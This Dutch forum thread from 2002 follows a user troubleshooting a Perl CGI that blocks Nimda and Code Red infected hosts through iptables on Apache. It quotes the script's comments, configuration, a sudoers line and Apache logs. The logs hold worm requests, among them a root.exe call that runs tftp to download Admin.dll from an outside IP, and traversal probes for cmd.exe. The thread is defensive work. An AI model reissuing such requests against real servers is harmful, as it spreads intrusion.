[wormkiller cgi]

Pagina: 1
Acties:

  • nike
  • Registratie: November 2000
  • Niet online
Goede morgen allemaal,

Ik ben bezig met een wormkillerscript te installeren, en nu heb ik het idee dat ie niks doet.

ik draai linux met apache, komt nu een stukje uit het script:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# READ THIS FIRST!!
#
# What does it do?
# ****************
# W32/Nimda, Code Red, Code Red II etc... killer.
# This script will kill IP adresses which are requesting files to infect them with a worm/
#
#
# Sudo support
# ************
# Add a line to /etc/sudoers:
# ApacheUser HostName = NOPASSWD: /sbin/iptables
#
# Where ApacheUser is the user that is running Apache, HostName is the Hostname of the computer
# running Apache.
# Of course, if you have ipchains support instead, change /sbin/iptables to /sbin/ipchains.
# If you don't know your ApacheUser: 'ps -fC httpd'
# (please select the user you see most, usually wwwrun or nobody NOT ROOT)
# If you don't know your HostName: 'hostname'
#
#
# Installation Instructions
# *************************
#
# 1) in your Apache httpd.conf, add .exe to CgiHandler (maybe add .ida while you're there).
#    add a new directory, something like this:
#    <Directory "/usr/local/apache/htdocs/scripts">
#     Options Indexes FollowSymLinks Includes ExecCGI
#     Order allow,deny
#     Allow from all
#    </Directory>
#
# 2) now, create a directory "scripts", or whatever you like (but be sure that it is the same as
#    the <Directory> above!), in your Apache web tree.
#    Now put this CGI in a file called "root.exe" and chmod it 755, you can also name it anyway you like
#    (but you will have to create a symlink to /scripts/root.exe).
#
# 3) actually, there is no step 3... But you can Symlink this CGI script to /default.ida (to the root dir
#    of your Apache web; check step 1 for .ida CgiHandler!). Alternatively you can also use Apache for this;
#    in your httpd.conf add:
#    Alias /default.ida "<webtree>/scripts/default.ida"
#    Whenever there is a new virus/worm that wants to infect a server and bothers you, add a new Alias! :)
#
#
# Configuration
# *************
#
# Only one thing remaining, check your firewall (if it's ipchains or iptables), and uncomment the
# appropriate lines below.
# An option to ignore some IP adresses is now available.
# An option to log these IP adresses is available, defaults to the ipblockfile used by ADSL4Linux firewall.
#
# Changes
# *******
#
# 11 November 2001: added some lines to prevent the script from adding
# duplicate IP numbers to the ipblockfile. (Kees Monshouwer)
# Changed the lines to Perl code instead of system calls (Cyberdude47).
#
# 11 November 2001: changed the method of adding lines to the ipblockfile
# to Perl. Probably this will speed up things more.
#
# 12 November 2001: added an "Ignore IP" option. This file contains the ips
# you wish to ignore. Such as 192.168.1.1 etc...
#
# 12 November 2001: fixed the last fix ;) Now your 'friends' are blocked even
# without a ignoreips file. (Kees Monshouwer)

nou dat lijkt een simpel script, maar ik ben niet zo held.
Stukje van me apache:
code:
1
2
3
4
5
6
7
8
<Directory "/home/httpd/html/scripts">
 Options Indexes FollowSymLinks Includes ExecCGI
 order allow,deny
 Allow from all
 </Directory>

Alias /default.ida "/home/httpd/html/scripts/default.ida"
ScriptAlias /scripts/ "/home/httpd/html/scripts/"

Nu heb ik dus die directory /home/httpd/html/scripts/ gemaakt met daarin een bestandje root.exe maar dat is eigelijk die wormkiller.cgi

Tevens een symlink gemaakt met default.ida die verwijst naar die root.exe

nog een lijntje in die sudoers file:
# User privilege specification
root ALL=(ALL) ALL
apache 'hostname' = NOPASSWD: /sbin/iptables
Nou ik hoop dat iemand me hierbij kan helpen, ik heb me eigen rot gezocht maar kon niks vinden.

-edit-


  • D2k
  • Registratie: Januari 2001
  • Laatst online: 31-08 10:19

D2k

• waaruit trek je de conclusie dat ie het niet doet (wel handig voor ons denk ik)
• apache gerestart?

Doet iets met Cloud (MS/IBM)


  • nike
  • Registratie: November 2000
  • Niet online
Nou in die file ken je ook een log bestand maken en die vult niet.

En ik heb apache gerestart.
Stukje apache logfile
mail.intronets.net - - [03/Jan/2002:07:04:34 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 200 0 "-" "-"
mail.intronets.net - - [03/Jan/2002:07:04:35 +0100] "GET /scripts/root.exe?/c+tftp%20-i%20213.48.16.12%20GET%20Admin.dll%20Admin.dll H
TTP/1.0" 200 0 "-" "-"

-edit-


  • nike
  • Registratie: November 2000
  • Niet online
komt net weer een attack.
mail.aarlegebrs.nl - - [03/Jan/2002:10:13:25 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 200 0 "-" "-"
maar er komt niks in de logs, geen iptables, niks.

Waar zou dat dus aan kunnen liggen, snap er niks van het het zou dus niet moeilijk moeten zijn he.

-edit-


  • MAZZA
  • Registratie: Januari 2000
  • Laatst online: 09-09 15:29

MAZZA

Barbie is er weer!

/offtopic: Waar kan ik meer over dat scriptje vinden :?

  • MAZZA
  • Registratie: Januari 2000
  • Laatst online: 09-09 15:29

MAZZA

Barbie is er weer!

Thx :)

  • nike
  • Registratie: November 2000
  • Niet online
np :)

Ben nog verder aan het zoeken gegaan, maar ben jammer genoeg niet verder gekomen.

/edit
het lijkt erop dat apache ook niet weet wat ie moet doen
misschien meerdere dirs aanmaken?

error log van apache:
[Thu Jan 3 14:41:31 2002] [error] [client 213.84.163.121] File does not exist: /home/httpd/html/MSADC/root.exe
[Thu Jan 3 14:41:32 2002] [error] [client 213.84.163.121] File does not exist: /home/httpd/html/c/winnt/system32/cmd
.exe
[Thu Jan 3 14:41:32 2002] [error] [client 213.84.163.121] File does not exist: /home/httpd/html/d/winnt/system32/cmd
.exe
[Thu Jan 3 14:41:32 2002] [error] [client 213.84.163.121] script not found or unable to stat: /home/httpd/html/scrip
ts/..%5c..
[Thu Jan 3 14:41:33 2002] [error] [client 213.84.163.121] File does not exist: /home/httpd/html/_vti_bin/..%5c../..%
5c../..%5c../winnt/system32/cmd.exe
[Thu Jan 3 14:41:33 2002] [error] [client 213.84.163.121] File does not exist: /home/httpd/html/_mem_bin/..%5c../..%
Hoe kan ik dus zorgen dat dat wormscript hierop reageer?
ben benieuwd moet nu hellaas weg, maar vanavond ben ik er weer.

-edit-


  • nike
  • Registratie: November 2000
  • Niet online
^^^^^^
nog niks wijzer geworden.....iemand misschien ?

-edit-


Verwijderd

Op zaterdag 05 januari 2002 11:23 schreef nike het volgende:
^^^^^^
nog niks wijzer geworden.....iemand misschien ?
Mail de maker :?

Verwijderd

Op donderdag 03 januari 2002 08:27 schreef nike het volgende:
Nu heb ik dus die directory /home/httpd/html/scripts/ gemaakt met daarin een bestandje root.exe maar dat is eigelijk die wormkiller.cgi
En is die chmod 755? En op de eerste regel van het script, staat het pad naar perl of sh goed? Post eens de eerste regel van het script.
nog een lijntje in die sudoers file:
code:
1
2
3
# User privilege specification
root ALL=(ALL) ALL
apache 'hostname' = NOPASSWD: /sbin/iptables
Wat de schrijver bedoelt met 'If you don't know your HostName: 'hostname'', is dat je het 'hostname' commando kan draaien om achter je hostname te komen. De output van dat commando zet je dus in je sudoers file, achter apache.

Tevens zegt de schrijver dat je .exe en .ida als CGI moet behandelen ("in your Apache httpd.conf, add .exe to CgiHandler (maybe add .ida while you're there)."), alleen is dat wel een beetje verwarrend want er is geen CgiHandler. Wat je moet doen, is een AddHandler aanpassen, als volgt:
code:
1
2
3
4
5
6
7
8
9
10
# AddHandler allows you to map certain file extensions to "handlers",
# actions unrelated to filetype. These can be either built into the server
# or added with the Action command (see below)
#
# If you want to use server side includes, or CGI outside
# ScriptAliased directories, uncomment the following lines.
#
# To use CGI scripts:
#
AddHandler cgi-script .cgi .ida .pl .exe

Zoek in je httpd.conf naar de AddHandler regels, de CGI addhandler is als het goed is de eerste die je tegenkomt.

Overigens werkt dit script alleen voor attacks die http://jouwhostname.jouwdomain.tld/scripts/root.exe proberen op te vragen, en dat zie je ook in jouw logfile:
mail.intronets.net - - [03/Jan/2002:07:04:34 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 200 0 "-" "-"
Apache geeft een '200' terug, dwz dat het bestand gevonden is, en dat de wormkiller dus is uitgevoerd.
Je krijgt een andere melding van die andere attacks, die /scripts/root.exe niet opvragen:
[Thu Jan 3 14:41:31 2002] [error] [client 213.84.163.121] File does not exist: /home/httpd/html/MSADC/root.exe
Etcetera.
Wil je daar ook vanaf zijn, dan moet je een hoop symlinken en directories aanmaken:

mkdir /home/httpd/html/MSADC
ln -s /home/httpd/html/scripts/root.exe /home/httpd/html/MSADC/

mkdir -p /home/httpd/html/c/winnt/system32
ln -s /home/httpd/html/scripts/root.exe /home/httpd/html/c/winnt/system32/cmd.exe

Etcetera, dat dus voor alle overige meldingen in je logfile.

'k Hoop dat dit iets geholpen heeft (?), succes ermee!

  • nike
  • Registratie: November 2000
  • Niet online
Dank je wel strlen voor je duidelijke uitleg.
Goed ik heb weer wat kleine aanpassingen gedaan wat je gezegt heb.
Eerst de apache.conf aanpassingen:
code:
1
2
3
4
5
6
7
8
9
10
11
AddHandler cgi-script .cgi .ida .exe .pl

<Directory "/home/httpd/html/scripts">
 Options Indexes FollowSymLinks Includes ExecCGI
 order allow,deny
 Allow from all
 </Directory>

Alias /default.ida "/home/httpd/html/scripts/default.ida"
ScriptAlias /cgi-bin/ "/home/httpd/cgi-bin/"
ScriptAlias /scripts/ "/home/httpd/html/scripts/"

dat zijn de veranderingen in apache.conf
tevens een dir scripts aangemaakt en daarin root.exe ingegooid.

regels in de wormkiller.cgi script
code:
1
2
#!/usr/bin/perl
die 1e regel klopt, heb ik nagekeken

dat script staat in cgi-bin
die file tevens gecopieerd naar /scripts/root.exe chmod 755
nou apache is herstart dus even afwachten nu ben benieuwd, bedankt in ieder geval alvast.
Ik laat het weten hoe het afloopt.

-edit-

Pagina: 1